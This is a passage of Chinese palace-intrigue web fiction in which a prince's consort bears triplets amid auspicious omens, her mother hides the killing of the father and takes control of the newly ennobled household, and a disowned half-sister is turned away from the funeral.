外头萧临闻言,再顾不得什么,扯着嗓子问:“王妃呢!王妃如何?她可安好?” 如秋慢慢收着银针,脸色平稳,声音却含着哽咽:“王妃先前不慎出了大量血,亏损极大,以后……需要好生养着了。” 曲神医出手研制的好孕丹,怎么可能出事呢?就连亏损也不过是暂时的,日后好生将养几年也就养回来了。 可若说得太轻松,他还以为女人生孩子就这么回事呢。 男人永远不能在生产一事上对女子感同身受,那便叫他亲眼旁观。 王妃累了一整夜,多睡几日养养也好,叫他自己着急去吧。 萧临不知其他,听到崔锦没事才松了口气,紧随其后的便是眼中的不忍与怜惜,还有无尽的心疼。 “王、王爷——”庆喜忽地惊叫起来。 萧临不耐回头:“何事——” 第二个字还没落下,他就被眼前的一幕震在原地。 ——蒙蒙亮起的天际,竟隐隐飘起彩云,一朵又一朵齐聚天空,五色光芒万丈,耀眼而夺目。 这本该是雨后才能出现的美丽异象,可近来都是晴日,而头顶这片彩云更比雨后更多了三分澄澈漂亮,美不胜收,像是……在恭贺什么一样。 “恭喜王爷!”庆喜立刻跪下,激动地道,“小郡主福泽深厚,降生之时竟得苍天垂怜眷顾,此乃得天独厚的偏爱啊!” 在他之后,众人也纷纷惊醒,立刻紧随其后跪下道喜:“恭喜王爷王妃,恭喜小郡主!” 萧临满眼都是惊艳地看着那大片彩云,心中亦是激动不能自拔。 他的小女儿,当真是得天独厚! 不止是他,此刻京城人俱都惊奇地看着头顶这一幕,议论纷纷。 宝华寺离得远些,却也隐隐窥见几分。 此时永隆帝刚起身,准备去大雄宝殿礼佛,抬头就看到了这一幕,心中颇为称奇,路上的京城众人和僧人们也对此异象议论纷纷。 大半日后,信王府快马加鞭派来报喜的庆安赶到。 “恭喜皇上,信王妃于辰时一刻诞下两子一女,母子平安!”庆安激动地禀报。 永隆帝惊地站起身:“两子一女?竟不是双胎么?!” “回皇上,太医们本以为是双胎,却不想两位小公子出生后才发现王妃腹中还有一子,小郡主得上苍与皇上庇佑,虽险却安地出生!” 话落,大雄宝殿内寂静一瞬。 所有人面上都浮起震惊之色。 双胎已经算很难得了,信王妃……竟生了三胎?还都母子平安?? 这该是何等运道! 永隆帝当即面露喜色:“好——” “好,好,该赏!”淑贵妃惊喜地失了规矩,词不成句,“都赏!邱华,赏他!” 崔锦当真是……一个又一个惊喜砸在她头上啊! 三胎,这可是三胎,儿女更双全啊! 庆安立刻跪地谢恩。 “对了。”淑贵妃想到什么,“辰时一刻?那不是天上彩云齐聚的时候?” 庆安脸上笑容更深,磕头再次道喜:“回娘娘的话,小郡主出生之时,正巧彩云出现,想来是因上苍眷顾,又得皇上龙气庇佑,这才使得小郡主转危为安,平安降生!奴才恭喜皇上,恭喜娘娘!” 淑贵妃眸光闪动,偏头看去。 永隆帝已朗笑出声:“好!不愧是朕的祥瑞孙儿,便连上苍都不忍她经受苦难,直使她顺利降生!” 帝王喜怒不形于色,他也甚少将真实情绪流露人前,可这回实在是忍不住,他也不想忍,本以为的双胎祥瑞竟变成更难得的三胎,幼女出生时更是彩云毕现,这岂非更昭示他的仁政贤德? 不等旁人开口,萧临一党已经齐齐跪地,高呼圣上英明仁德,大周海晏河清。 大势所趋,晋王党也不得不捏着鼻子,跪地恭贺。 晋王与娴贵妃对视一眼。 “对了。”娴贵妃忽地面露好奇,“听闻这双胎极相似,若是儿女双胎也就罢了,可这双子……” 话未说完,众人却意会过来。 双子若长相肖似,再是祥瑞也继不了位。 而萧临目前也仅有这个两个儿子罢了。 除了可称一句的祥瑞之兆,还有优势吗? 第一百一十四章 忠勇侯老夫人来了 闻言,庆安一笑。 “贵妃娘娘这回却想左了,咱们祥瑞双子的长相并不相似,大公子瘦弱些,眉眼间像极了王妃,二公子强壮得很,容貌也更肖似王爷呢!” 来宝华寺禀报前,如春可特意叫他先看了三位小主子的,他比王爷都先见到呢! 刚出生的孩子样貌其实相差都大不到哪儿去,但细瞧也能看出分别,张嬷嬷只看了小主子们一眼,便无比肯定地说他们日后定然一人像王爷,一人像王妃。 都一样容貌绝色,但绝不会相似! 娴贵妃脸上的笑容撑不住了,十分勉强。 永隆帝却来了兴趣:“哦?这倒是奇了。” 大周本就鲜有双胎,十三年前翰林家那两个双胎小子更是长得一模一样,连亲爹都分不出谁是谁。 如今听到庆安如此说,他心中兴趣更浓了几分。 淑贵妃则只有高兴了:“信王妃貌美,长子承其容貌,长大了必然是个俊俏郎君!” “对了。”她想起什么,忙吩咐邱华,“快再去拨两个奶娘送去信王府,别饿着了小郡主!” 之前以为是双胎,她只送了六个奶娘过去,未想竟多了个孙儿,她唯恐委屈了三个孩子。 邱华立刻去办了。 殿内,众人也都纷纷附和着,将三胎夸了又夸,本庄严肃穆的大雄宝殿一时气氛竟欢快了不少。 只有晋王党强颜欢笑,愤怒萧临竟有如此运道之余,看着晋王那张温和的笑脸,便更恼他不争气——人家能生出来三胎祥瑞,怎么你就不行? 连累得大家都要低人一头。 庆安带着一堆赏赐回了京城。 永隆帝龙颜大悦,给了崔锦厚赏,给三胎的赏赐更是丰厚到令人咂舌,淑贵妃更不必说,连压箱底的珍宝都毫不吝啬地拿了出来,再加上皇后以及各宫主位的赏赐,庆安直叫人连拉了十辆车才拉完,被禁卫军一路送回京时受尽瞩目,狠狠出了把风头。 而在这半日功夫里,崔锦连生三胎的消息也已经如风般传遍京城。 人人惊奇之余,也在羡慕崔锦的好命。 信王府本就无子嗣诞生,她这个肚子的含金量可想而知,而她竟也不负众望,连生三胎祥瑞,且还幸运地撞上了彩云异象,活像是好事都被她占全了一样。 更有个不知从哪传出来的小道消息,说她生产前曾去京城的送子观音庙拜过,一时间送子观音庙人来人往,门槛都几乎被踩破。 …… 信王府正院。 产房收拾好了,萧临终于被允许进去,他忙不迭推门而入。 奶娘们抱着三个孩子向他行礼,却都被萧临无视,一阵风一样就往床榻边奔去。 他知道孩子没事,可崔锦的状况却不容乐观——他内功深厚,自然听出了如秋说话时声音的哽咽。 张嬷嬷见状,眼中闪过一抹诧异,继而便笑了。 “锦儿?”萧临声音低到气声,坐在床边看着脸色苍白,双眸紧闭的崔锦,有些小心翼翼地叫了一句。 “王妃累晕了。”如秋眉头微蹙,“王爷还是莫要吵到王妃的好。” 萧临薄唇微抿,他当然知道不能吵到崔锦,可她这样睡着的模样实在太过安静,甚至叫他有种去探她呼吸的冲动……他心中不可抑制地心慌,想叫她睁开眼看看他。 如秋隐晦地翻了个白眼。 不过……她低头瞧了瞧。 崔锦鬓发俱湿,面无血色,闭目沉睡的模样少了几分平日的灵动,却添了些脆弱的美感,如病西子一般叫人瞧了心疼,忍不住便想为她抚平睡梦中依然蹙起的眉头。 这是她费了一番心思为崔锦整理出来的模样,既能叫人直观感受到她生子的不易和脆弱,又不损她分毫貌美,反而多了别样的韵味。 连她这个女子看了都忍不住怜惜,更何况本就对崔锦十分心疼的萧临了。 看着崔锦连眼睛都不带动一下的。 萧临轻轻握着崔锦的手,又小心地为她擦去额角沁出的薄汗,待了小半个时辰才出来。 “孩子呢?” 张嬷嬷带着他去了偏房。 之前准备时,产房与偏房直接打通了,装了一个单开的小门,以防崔锦和孩子们受风。 萧临进门后,见奶娘们抱着孩子行礼,忙轻声开口:“免礼,别惊着他们。” 他抬步上前,看着三张颇有些丑巴巴的小脸,脸色顿时一僵。 他与崔锦生出的孩子,怎会是这种丑模样? 他略有些心堵,但一瞬后就安慰好了自己,再丑也是亲生的,爹不嫌儿丑。 他眼神慈爱地一一看过三个孩子,愣了一下:“怎么这个格外壮?” 中间胖乎乎的小子睡得极香,衬得两边瘦了吧唧的哥哥妹妹更加成了小可怜。 张嬷嬷回道:“二公子应是在娘胎里吸足了养分,长得便格外壮些,大公子虽瘦弱,但寻常早产儿便是如此,细心养着并无大碍,倒是小郡主……” 她看着几乎只有成年人两只手掌大的小姑娘,眼神心疼得不行:“小郡主在娘胎里太久,身子实在瘦小孱弱,需得精细养着了。” 萧临的眼神落在女儿身上,那张小脸还没他半个巴掌大,闭着眼睛睡觉时小嘴巴一张一张,却连气息都颇为微弱,格外惹人怜惜。 他的心都软成了一片,初为人父的惊喜也尽数化为了心疼。 这样小的孩子,便是长成了恐怕也会比寻常姑娘身子弱些。 他心里迅速盘算起库房里的珍稀药材,还有刚回乡去的曲神医。 皇宫的私库里好像也有不少补身子的良药,可以通通要来,父皇老当益壮,不需要那些珍贵药材,还不如都送给孙女。 母妃好像也有不少。 他心里转个不停,眼睛却直勾勾地看着三个孩子不放,时间久了竟从那皱巴巴的小脸上瞧出些可爱来,眼神几乎软成一团。 这是他的孩子。 他终于有自己的孩子了。 “王爷,忠勇侯老夫人来了。” 第一百一十五章 我儿的侯府可不养叔婶 崔父被封的侯爵直接由崔瞻当场继承了,崔母便成了侯府老夫人。 萧临闻言,依依不舍地看了三个孩子一眼才离开。 崔母已经候在门外,衣裳整洁却面有疲色。 永隆帝封了宝华寺,闲杂人等不得进出,但崔父救驾有功,崔锦又刚生产,崔母得以被允许扶棺回京。 她才将崔父的尸体安置好,便匆忙来了信王府。 “臣妇见过王爷。” “岳母不必多礼。”萧临十分客气,“锦儿还在歇息,孩子们也睡着,岳母进门时动作放轻些,别吵到他们。” 崔母眼神缓和了许多,轻声应了。 萧临本想离开,但想到崔父身亡的事,还是宽慰一句:“近日或许会忙些,岳母若有不便之处,尽管派人来寻本王。” 崔母眼睛红了些,却强笑了笑:“多谢王爷,侯府有您派去的人震场才没乱起来,后头的事便容易多了。” 萧临微微颔首,这才踱步离开。 崔母推门而入后,眼中的悲切瞬间化为乌有,只剩下满眼喜悦:“锦儿身子可好?未想竟是三胎,当真是佛祖庇佑!” 如秋笑容满面:“王妃身子虽有亏损,但将养几年便能养回来,几位小主子也好。” 崔母先看了还在沉睡中的崔锦后,才去了偏房。 她一一瞧过三个孩子,瞬间心疼了:“二公子身子壮,瞧来与正常婴儿都一样大小,我倒是不担心,唯有大公子和小郡主……”也太瘦弱了些。 一个娘胎里出来的,怎会差这么多呢? 活像只有老二才是亲生的,那两个是后娘养的一样。 但话如此说,她看向老二的眼神依旧满眼疼爱,只是心里如萧临一般盘算起该怎么给两个瘦弱的补补了。 在王府待了一个时辰后,她便又匆匆离开。 如今崔府的牌匾已经卸下,取而代之的是忠勇侯府。 崔父的尸体被运回京后,府中便没再断过来吊唁的人,即便是往日政敌的府邸都来了人。 崔瞻一袭孝衣站在堂外,接待着来府的宾客,他眼睛虽红,神色也憔悴,但仪态规矩丝毫不落,举止有度且言行得体,叫来往的人都不由暗暗点头。 年纪虽轻了些,但已有能独当一面的能力,只需再等几年,便能撑起门楣了。 也有不少人在暗暗羡慕崔瞻的好命。 出生时崔父就已官居二品,一路顺畅地长大,如今崔父虽身亡,却有救驾之功,叫他一跃成了功臣之后,虚岁十四便成了大周最年轻的侯爷。 眼见着信王妃连生三胎祥瑞,信王又继位在望……这大周最年轻的侯爷,说不得就要变成最年轻的公爷了。 这崔家的运道真是不得了啊。 对于他们感叹的目光,崔瞻视而不见。 见崔母回来了,他连忙迎上前:“母亲,二姐如何?小外甥和小外甥女如何?” “都好。”崔母叹了口气,“只是大公子和小郡主瘦弱些,难免叫人担心。” 早产儿本就难养,更别说还是三胎。 崔瞻眉头紧皱,担心了好半晌,才想起什么,说道:“祖母方才寻您。” 崔母点了点头,离开前,她为崔瞻理了理衣襟,轻声开口:“人生难得糊涂,若无力解决,便将其抛之脑后,否则最后困人困己,反伤了自己和至亲。” 她眼神近乎温柔,声音也带着安抚。 这个儿子太聪明,也太敏感,像极了锦儿,即便她从未对他透露过这些事,他也猜到了几分,几乎大受打击。 可她必须这么做。 崔瞻顿了一瞬,轻应一声,垂下的眸光复杂,眼睛渐红。 父亲对他和弟弟很好,说句视为命根子也不为过,可对母亲和姐姐妹妹却极为忽视,先前父亲有意辖制二姐时,他尚可仗着自己长子的身份劝住他,可到底……父亲更看重权势与家族,恨不得将二姐沦为自己上位的傀儡。 母亲怎能容得下他? …… 崔母到后院时,崔老夫人正闭目坐在上首,手里连转着佛珠,脸色憔悴不堪。 “母亲安好。”崔母屈膝行礼。 “安好?”崔老夫人倏地睁开眼睛,凌厉而充满怨恨地看着她,“老年丧子,我怎能安?你若当真盼着我好,便不该做下那等狂悖之事!” 她并没有证据,可活了几十年的老人精,只需回想在崔父死前意图威胁崔锦的事,就猜到是崔母忍不住护犊子,向崔父动手了。 崔母表情不变:“母亲在说什么,儿媳不明白。” 崔老夫人蓦然站起身,死死盯着她:“你——” “对了,儿媳方才去看了王妃。”崔母温柔一笑,“三胎祥瑞长得可真好,宫里送的赏赐都快叫人连下脚的地方都没了。” 崔老夫人喉头猛然哽住。 若换做从前,她会无比高兴,可崔锦早已与崔家离心,她又骤然丧子,哪还有心思去为了信王府高兴? 似乎看出她的心思,崔母温声宽慰:“锦儿与老爷有些误会,关系生疏得紧,可与瞻儿没有啊……他已继承侯爵,前路光明,再有锦儿与信王照拂着,来日必能撑起崔家,光耀门楣,母亲不想看到这一日么?” 这可是崔父那个只会钻营弄巧的东西这辈子都达不到的高度。 崔老夫人被怨恨与愤怒淹没的脑中清明了一瞬。 她最疼爱的长子没了,可孙子还在……还有崔锦这个未来皇后照拂,正如崔母所说,前路光明。 二房和三房就算沾光都能跟着风光余生。 而且……她就算再恨再怒崔母恶毒,也于事无补——弑君这等要命事,沾上一点就是九族俱灭,她甚至必须将此事死死藏在心里,带进棺材里去。 还要亲眼看着崔母这个杀了她儿子的贱妇风光得意! 崔老夫人气得脑中剧痛,脚步踉跄一下,跌坐在椅子上,整个人都像被抽去了精气神一样,平白苍老了许多。 崔母眼中闪过满意,温柔道:“老爷为我们带来如此荣耀,儿媳必定年年祭拜,叫他泉下得安,母亲只管安心做您的侯府老太君就是。” 崔老夫人闭上眼睛,死死压住恨意,面色颓败而枯黄。 崔母搭着刘嬷嬷的手离开。 出门前,她想起什么,笑道:“等老爷下葬后,母亲便着手分家吧,我儿的侯府可不养叔婶。” 第一百一十六章把自己放在孩子们之前,你是有多自信? 崔锦睡了整整三日才醒。 一睁眼便看到床边守着的萧临,她神智尚未清醒,眼神迷茫而空泛。 萧临却是一喜,立刻喊:“太医!杨院判!快进来!” 大嗓门叫崔锦耳朵都震了一瞬,脑子嗡嗡响。 杨院判就在隔壁守着,闻言立刻进门,给崔锦把脉,少顷后便拱手道:“恭喜王爷,恭喜王妃,王妃的身子已无大碍,只是……亏损颇大,日后必须要好生将养,更不能情绪过激或遭受太大刺激,平日也会比寻常人更虚弱些。” 他叮嘱了一大堆,其实心里也犯嘀咕。 信王妃的身子亏损是有,但养养也就大好了,可她的脸色和状态看着却不是这么回事……病弱的有些过头了。 他纵然自诩医术精湛,却也不敢把话说得太死,以免日后打脸。 萧临眼眸微暗一瞬,随即便撑起笑容,轻声问崔锦:“锦儿,你感觉如何?渴不渴,饿不饿?” 崔锦眨了眨眼,迟钝的脑子这才反应过来自己生产了,忙问:“孩子呢?” 干涩的声音满含沙哑,还带着肉眼可见的虚弱。 萧临忙回:“都好,三个孩子都很好,等你吃些东西就叫奶娘抱他们过来。” 如秋适时递上温水。 萧临小心地给她喂了些,崔锦的嗓子总算润了许多。 鸡汤都是日夜温着的,每隔半个时辰就新做一锅,以确保崔锦能在醒来的第一时间喝到。 等喝了小半碗鸡汤,孩子们也被抱过来了。 “这……好小啊。”她震惊地看着三个孩子,“我弟弟妹妹出生时,可比他们大多了。” 也就中间这个儿子长得跟普通婴儿一样大小,剩下两个瘦弱得过分。 萧临也心疼极了,但还是安慰她:“他们是早产儿,太医说这是正常的,日后好生养着,没多久就能胖回来。” 崔锦担忧地点了点头。 她半靠在软枕上,硬撑着抱过了最小的女儿,眼神心疼又怜爱:“这个长得倒是乖巧漂亮,就是不太像我与王爷。” 虽只三日时间,但也够叫刚出生时红彤彤的孩子白回来了,再好生养了养,当真是漂亮得很。 萧临眼睁睁看着他们一日好看过一日,心里也是松了口气的。 还好不是真丑。 虽然他不嫌弃,但日后孩子长大,难免要被人嘲讽诟病,必定要伤了心。 “还没有起小名。”他温柔地看着崔锦,含笑道,“锦儿来起吧,你拼了命生下他们,便该叫他们一辈子都记得你的付出。” 崔锦垂眸笑了笑,眼神柔和地扫过三个孩子:“为人父母,不求他们有大造化,只求健康顺遂……大的便叫平安吧,小的叫长安,这个……” 她看了眼格外胖乎白嫩,还在呼呼大睡的二儿子,嘴角微抽:“叫成安吧。” 这孩子有点天生心大的感觉,连睡梦中的嘴角都微微扬起,以后说不定是个万事不过心的洒脱性子。 萧临当即赞道:“好名字!锦儿不愧是周大儒的关门弟子!” 崔锦轻笑:“这种直白的小名,亏王爷夸得出来。” 她摸在小女儿脸上的手指不自觉移去她唇边,竟险些被吸吮进去,吓得她忙躲开手指,轻点了点小家伙的额头:“怎么什么都吃?” 萧临看得眼热,抬了抬手,却不敢碰。 见崔锦疑惑,他有些不自在道:“本王习武之身,手上多茧,恐伤着了他们。” 看着就细皮嫩肉的模样,他不敢碰不敢抱,生怕自己力气太大或手指太糙,伤着了孩子。 崔锦眉梢微挑,牵着他的手放去长安手里,一根手指立刻被攥住,软软嫩嫩的没什么力气,却叫萧临蓦然僵住,连动都不敢动了。 手指上传来的触感叫他心中升腾起一股莫名的情绪,不知该如何形容,却顷刻间就叫他的心软成一团,眼神几乎柔成一滩水。 “王爷小心着些便是了。”崔锦含笑开口,“否则日后孩子们还以为你做父亲的不喜欢他们呢?” “怎会?”萧临立刻开口,“本王疼他们都来不及。” “是啊。”崔锦温声道,“孩子幼小不懂事,也更敏感,谁与他们亲近,他们就更喜欢谁,否则还不都当成陌生人了?” 萧临愣了一瞬才明悟:“你说的对,哪有亲生父子不熟的道理?” 崔锦这才笑了,轻轻覆在长安握住他手指的手上。 这才像样。 什么抱孙不抱子的规矩,在她看来简直无稽之谈。 只有让萧临自己参与进来,培养起深厚的感情,她的儿女日后才会站得更稳,等日后萧临登基,帝王不加掩饰的偏爱更会为他们带来更可观的利益。 崔锦先后抱过了三个孩子,便又有些疲乏了。 萧临忙叫奶娘将孩子抱下去,沉默一瞬后,道:“你……也莫要太伤心,岳父是救驾而亡,于他而言何尝不是另一种荣耀与归宿,父皇心中有愧,也更会补偿岳母和弟弟妹妹们。” 崔锦愣了下。 他不提她都快忘了还有这事了。 她早产是不是也被“受惊”了? 心念电转间,她垂下眸,眼睛渐渐红了起来:“我知道……可骤然知晓至亲离世,我心中又怎能不伤心?” 萧临眼中泛起怜惜,轻轻将她揽在怀里,柔声开口:“已发生的事无法改变,好在我们还有未来,岳父若在天有灵,定然也是不愿你为他伤心费神的。” 崔锦垂眸不语,只是浑身弥漫的悲切与难过如有实质,苍白的脸色衬得通红的眼圈更加明显,也更惹人怜惜。 真伤心的时候是哭不了这么漂亮的,但萧临不懂。 他眼中只有对崔锦的心疼,柔声细哄着为她擦着眼泪,渐渐地低头吻上她眼尾,极尽柔情。 “快别哭了。”他轻声哄道,“太医说你不能伤神伤心,你多想想本王和孩子们,你舍得我们为你担心吗?” 门外,如秋正好听到这话,表情顿时复杂。 还把自己放在孩子们之前,你是有多自信? 崔锦依旧垂眸,沉默了好一会儿,才声音沙哑地开口:“我知道了……不过还有一事需要劳烦王爷。” “你我夫妻之间,何须这般客气?”萧临佯作不悦。 崔锦扯唇笑了一下,说道:“父亲身亡,府中恐会出乱,且祖母尚在,只怕要更纵容得一些人没了分寸,可否请王爷派庆喜去崔府小住几日,好叫母亲安心分家。” 第一百一十七章 崔父下葬 萧临先前已经派人去崔家了,但崔锦这么一说,他也想起林素的事。 这可是崔老夫人连同崔家三房送进来的祸害,差点叫他断子绝孙。 崔母被孝道辖制,难免束手束脚,倒必得庆喜去才能镇得住场子。 他立刻便应了,抬手抚过崔锦眼尾:“都应你,快别操心这些事了,你便是不为自己的身子着想,也别叫本王为你担忧……这三日你睡着,不知本王是如何过的。”他轻叹了口气。 崔锦抬头看他,眉梢微挑:“为伊消得人憔悴可不是王爷这般精神奕奕的模样,终于喜得嫡长子,王爷恐怕都欢喜得不知如何是好了,哪还记得我?” 她指尖扫过萧临泛着淡淡青色的眼下,声音揶揄。 被扫过的地方激起一阵痒意,萧临眼眸微暗,抬手握住她的,轻道:“嫡长子再珍贵,到底不及锦儿,你沉睡之时,本王从未如此心焦过。” 他语气深情,仿佛崔锦是他心中最珍贵的存在,谁也不能比拟。 崔锦倚在他怀里盈盈笑着,心中却嗤之以鼻。 也就是那夜没有难产之困,否则被问起保大还是保小,她闭着眼睛都知道萧临会怎么选——他期盼已久的可不是她崔锦。 一旦被问及保谁,他面上必然是煎熬再三,先发落威胁太医一番,而后在危急关头,在庆喜等人拼死的提议下,忍痛舍弃她。 当她难产而亡,他便会因愧疚与往昔的恩爱时光将她捧为白月光,然后左拥右抱,登基享受无边孤独。 若再没下限些,说不得还要找几个替代品来彰显他的深情。 她轻笑着,勾得他呼吸渐渐粗重,忍不住低头亲下来时,推开他的脸,打了个哈欠。 萧临生生忍住了。 给她掖好被子后又看了三个孩子才匆匆离开——他这几日并不得闲,宝华寺那边传消息的人已经查出来了,这回没有淮阴伯府的事,却牵扯到了晋王。 他心中已经笃定是晋王做的手脚,正在想办法将这个罪名扣死在晋王头上。 萧临离开后,崔锦睁开眼。 如秋推门进来,开始禀报这几日发生的事。 “忠勇侯?”崔锦面露惊色,然后不受控制地扬起唇角,差点笑出声。 “母亲此计……甚妙。”她眼中是藏不住的赞赏与喜色。 如秋也笑了:“也是王妃怀孕的正是时候,又被诊出了双胎,皇上这才恩泽崔家。” 否则一个救驾之功可值不了一个侯爵。 崔锦轻轻开口:“父亲那条老命能为瞻儿换来如此前程地位,倒也不负他对瞻儿的一腔疼爱了。” 如秋见她脸上的笑容亮得晃眼,松了口气,崔锦没有真的伤心就好。 她最担心崔锦抵不过父女天性,在崔父死后又升起怀念之意——实在是那早产的时间也太巧了,叫她也怀疑崔锦是不是真被刺激到。 崔锦见状,一笑:“不用担心,我对他的感情早被磨没了。” 在上辈子崔父明知沈之珩没吃同心丹,却依旧缄默地看她去死时,就磨干净了。 他不配。 “好了,去把孩子们抱来,叫我再瞧瞧。”崔锦对这三个孩子满腔疼爱,还带有一丝新奇。 如秋依言下去。 …… 没过几日便是崔父下葬之日,忠勇侯府人来人往,脸上俱带悲意,便是晋王党的人面上功夫也做得十分之好。 崔瞻跪在棺材前,满面悲伤,身边跪着的崔瞩更已经哭成了泪人,他年纪小,脑子又简单,在此刻比心情复杂而悲伤的哥哥更单纯,只是为父亲的逝去而哀痛。 不一会儿,有小厮匆匆走来,在崔瞻耳边禀报:“侯爷,沈夫人来了,被拦在门外后一直在闹。” 崔瞻面色不变,摸了摸弟弟的头,叫他安心哭着,随后起身离开。 门外,崔儒月身着孝衣,哭得满脸是泪:“父亲骤然身亡,我只是想来为他上柱香,叫他走得安心些罢了,难道连家门都进不得么?父亲尸骨未寒,府中竟就有人敢隔绝我父女相见,若当真……当真如此辱我,我必要去御前讨个公道!” 侯府的侍卫们尽职尽责地拦着人,对崔儒月的哭泣无动于衷。 “沈夫人若想叫本侯父亲走得安心些,今日便不该来扰得他身后事都不得安宁!” 清朗的少年音传来,侍卫们忙回头行礼:“见过侯爷。” 听到他们的称呼,崔儒月眼底划过一抹极深的嫉妒。 父亲救驾而亡,天大的恩泽竟尽数落在了这个小杂种身上!凭什么?! 今日她必要叫崔瞻的名声蒙污,最好人人唾骂,将救驾之功的庇荫移来自己身上! 她攥起双手,哭得更惨痛了几分:“瞻儿,我是大姐姐啊……父亲在世时便最疼我,若在离开人世时能叫我送他一程,泉下也能安心了,我……我知道你们姐弟素来不喜欢我,可权当是为了父亲吧,等送完他最后一程,我一定离开,绝不给你们添麻烦……” 她哭起来很有一番弱柳扶风的味道,这般卖惨的话更叫一些墙头草心软了几分。 “忠勇侯,这沈夫人到底是你姐姐,从前纵有做的不对之处,可今日这样的日子,是该叫她进来给你父亲上柱香,你便莫要揪着从前的一些小矛盾不放了。”说话的是威武将军,晋王的人。 崔瞻神色冷淡:“本侯父亲在世时便严禁不孝女进崔家门,威武将军言下之意,是教唆本侯违逆先父遗愿,扰他泉下不宁?” 威武将军脸色微僵:“……忠勇侯误会了。” 他就算是个武夫也知道这种名声不能要,更别说还是救驾而亡的崔父——他叫崔父泉下不宁,永隆帝能叫他泉上不宁。 不过这崔瞻当真牙尖嘴利,小小年纪竟也能摆出这般派头……不过是仗着侯爷的身份罢了! 台阶下,崔儒月眼神怨毒一瞬,眼泪依旧不断:“父女血浓于水,哪有隔夜仇?先前我做了错事,叫父亲误会了我,可后来他知道真相,已经谅解,只是并未告知家里罢了……难道父亲在我出阁前十八年的疼爱,只凭一桩小事就能被轻易抹去么?” “至亲之间,又哪能算得那样清楚?” 崔瞻面无表情地看着她:“沈夫人已被除族,不好乱叫旁人父亲,本侯的父亲也无需你来送终。” 第一百一十八章 奶娘勾引 闻言,崔儒月脸色微变。 “不可能!”她厉声道,“父亲怎会舍得将我除族?崔瞻,你当真以为崔家是你做主了不成?!我要见祖母,我要见族长!” 崔瞻微微偏头。 崔氏族长走了出来,面色复杂地道:“儒月,远山离世前,的确已将你除族,他名下长女……现在是信王妃。” 远山是崔父的名字。 崔儒月怎么也不敢置信,眼神在他与崔瞻间来回扫视,面色愤慨:“不可能!父亲那么疼我,绝舍不得将我除族!一定是你,是你见这对姐弟得势就来踩我一脚!” 族长表情不变,心里却在发虚。 崔儒月说得没错。 崔父生前虽恼崔儒月联合崔钰设计他下狱,但到底疼了这么多年,感情做不了假,甚至在崔儒月的屡屡哭求下,已经有了松动之意。 但还没等他原谅崔儒月,就先被崔母弄死了。 除族更是无稽之谈。 但族长也没办法,失去崔父的崔氏几乎算得上损失惨重,他们必须牢牢扒着崔锦这个生了祥瑞的信王妃和被封为侯的崔瞻,才能叫崔氏不落入三流世家中。 崔儒月……没有价值。 沈之珩虽在晋王面前得脸,还官运亨通,但晋王已经自身都难保了。 崔儒月恶狠狠盯着他们,通红的眼眶衬得她唇边冷笑更加可怖:“想上信王的船?我等你们哭着来求我那一日!届时——” “崔儒月!”沈之珩快步走来,脸色极沉。 崔儒月回头看到他,眼泪顿时就掉了下来:“沈郎,我只是想为父亲上一炷香而已,可——” “不必。”沈之珩声音冰冷,“崔大人忠勇为君,朝野内外皆敬佩不已,只要心诚,便能送他最后一程了。” 他对崔瞻点了点头,拽着崔儒月便大步离开。 转身的一瞬间,他眼神顷刻间晦暗下来。 直到回府,他才冷声质问崔儒月:“谁叫你去崔府闹事的?” “闹事?”崔儒月红了眼睛,“我还不都是为了你……父亲救驾而亡,这是多大的功劳?只要我们能分一杯羹,你的路便会更顺畅许多!” “我的路?”沈之珩目露嘲讽,“你是为了自己在沈家站得更稳吧?” 崔儒月眼神微变,死死咬牙才没露出异样。 沈家没一个好说话的——难缠的婆母,刻薄的小姑子小叔子,还有方芸那个胆敢勾引沈之珩的贱人! 沈之珩对她已经渐渐没了当初的柔情和耐心,她若再不为自己打算,难道等日后晋王登基,沈之珩位极人臣后成为糟糠之妻么?! 沈之珩也懒得与她多言,抬步便要离开。 “沈郎。” 崔儒月喊住他,声音哽咽地问:“难道你我之间,只剩相对无言吗?我还记得当初你来劝我换嫁时的样子……诚挚,真心,眼里心里全都是我,可为何我们会变成如今这般?” 她想打感情牌,但沈之珩却沉默了。 半晌后,他才淡淡开口:“若我能再重来一次,绝不会再与你纠缠分毫。” 前世的崔儒月太远,他看到的只有她出阁前的张扬肆意,嫁人后的悲伤无奈,永远在追逐,永远为她心疼。 但今生了解过崔儒月,他才知道她的肤浅,庸俗,傲慢与愚蠢,可等他发现这一点时,已经晚了。 崔锦怀孕了。 她竟让信王碰了她! 她怎么敢?! 沈之珩恨得眼睛通红,勉力压制才没露出异样之色。 在原地僵立片刻后,他脚步一转,去了方芸的院子。 婢女们见他进来,纷纷低头下去,将门关好,如今方芸虽没有名分,但沈府上下皆知,她已经是沈之珩的人了,两人相处时也从不避开下人。 很快,里面传来一阵叫人脸红心跳的声音。 …… 信王府正院。 崔锦正抱着平安,含笑逗他,屋里气氛十分轻快。 她刚生产,谁也不敢叫她下地去给崔父送终,甚至因为不能“伤身”,连眼泪都不必掉一颗,只在人前装出一副强颜欢笑的模样就行。 “王妃。”如春进来禀报,“崔儒月去侯府闹事了。” 崔锦叫如秋将困了的平安抱出去,轻应一声。 如春疑惑问:“她闹这一场,于我们没什么好处,王妃为何要叫方芸挑拨她来闹事?” “自然是为了彻底与她分割开来。”崔锦淡淡开口,“再坑晋王一把。” 崔儒月那种脑子,只需崔瞻稍加刺激就能秃噜出大实话,若非被及时赶来的沈之珩制止,恐怕她能说出晋王必定登基这种话。 只可惜沈之珩来的太快。 “有些可惜了。”如春很遗憾。 “也没差,崔儒月那番话可不算隐晦。”崔锦说罢,唇角微勾一瞬,“最重要的是,叫父亲最后一程都走不安宁,我便十分欢喜了。” 如春一愣,也笑了。 若崔父当真在天有灵,看到自己最疼爱的女儿连家门都进不得,还被除族,往后再没了依靠,不知该有多愤怒绝望。 两人正说着话,外间传来行礼声。 崔锦不想强颜欢笑,索性闭目躺下。 下一瞬,萧临推门而入。 他走来床边,见崔锦睡得安稳,声音轻了些,问如春:“王妃今日如何?可哭了?” 如春眼睛微红,垂眸哽咽:“王妃不愿叫王爷担心,硬撑着没哭,还逗了大公子好一会儿,可时不时就会走神,精神恍惚不已,奴婢便劝着她睡了。” 萧临眼中泛起心疼,轻轻拨开崔锦额边的碎发,轻声道:“你做的很对,下去领赏吧,这些日子多劝着些王妃,别叫她多想此事,本王不会短了你的好处。” 如春哽咽谢恩。 萧临陪了崔锦片刻,便去了偏房看孩子们。 “他们今日可有闹?”他摸了摸平安的小手,声音极柔。 张嬷嬷本欲回话,却被成安的奶娘抢先一步:“小公子们都好,尤其是二公子,吃的可多呢,王爷您瞧,二公子又圆润了一圈。” 